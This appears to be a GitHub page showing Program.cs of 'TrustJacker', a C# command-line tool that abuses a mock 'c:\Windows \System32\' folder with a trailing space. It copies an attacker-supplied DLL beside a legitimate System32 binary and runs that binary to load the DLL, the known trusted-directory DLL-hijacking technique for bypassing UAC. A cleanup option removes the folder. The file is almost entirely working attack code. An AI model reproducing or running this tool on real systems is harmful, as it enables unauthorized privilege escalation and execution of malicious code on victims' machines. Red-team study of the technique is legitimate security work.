-
Notifications
You must be signed in to change notification settings - Fork 19
Expand file tree
/
Copy pathProgram.cs
More file actions
81 lines (70 loc) · 2.68 KB
/
Copy pathProgram.cs
File metadata and controls
81 lines (70 loc) · 2.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
using System;
using System.Diagnostics;
using NDesk.Options;
namespace TrustJacker
{
class Program
{
static String fakewindowsdir = "\"" + "c:\\Windows \\" + "\"";
static String legitdir = @"c:\Windows\System32\";
public static void ShowHelp(OptionSet p)
{
Console.WriteLine("Usage:");
p.WriteOptionDescriptions(Console.Out);
}
static void PopPopPop(String dllPath, String binary)
{
String[] dllName = dllPath.Split('\\');
Console.WriteLine("creating dir & copying the files...");
Process.Start("cmd.exe", @" /c mkdir " + fakewindowsdir + " && mkdir " + "\"" + @"c:\Windows \System32\" + "\"" + " && copy " + dllPath + " \"" + @"c:\Windows \System32\" + dllName[dllName.Length - 1] + "\"" +
" && copy " + legitdir + binary + " \"" + @"c:\Windows \System32\" + binary + "\"");
Console.WriteLine("popping the shell...");
Process.Start("cmd.exe","/c" + "\"" + @"c:\Windows \System32\" + binary + "\"");
}
static void CleanUp()
{
Console.WriteLine("cleaning up...");
Process.Start("cmd.exe", @"/c rmdir " + fakewindowsdir + "/s /q");
Console.WriteLine("done!");
}
static void Main(string[] args)
{
var dllPath = String.Empty;
var binary = String.Empty;
var cleanup = false;
var help = false;
var options = new OptionSet()
{
{"dllpath=","Path to the dll on the computer", o => dllPath = o },
{"binary=","The binary name to pop the shell", o=> binary = o },
{"c|clean|cleanup","Cleanup the fake folder and its contents", o => cleanup = true },
{"h|?|help","show this help menu.", o => help = true }
};
Info.PrintHeader();
try
{
options.Parse(args);
if (help)
{
ShowHelp(options);
return;
}
if (!cleanup && (string.IsNullOrEmpty(dllPath) || string.IsNullOrEmpty(binary)))
{
ShowHelp(options);
return;
}
}
catch (Exception e)
{
Console.Error.WriteLine(e.Message);
ShowHelp(options);
return;
}
if(cleanup)
CleanUp();
else
PopPopPop(@dllPath, binary);
}
}
}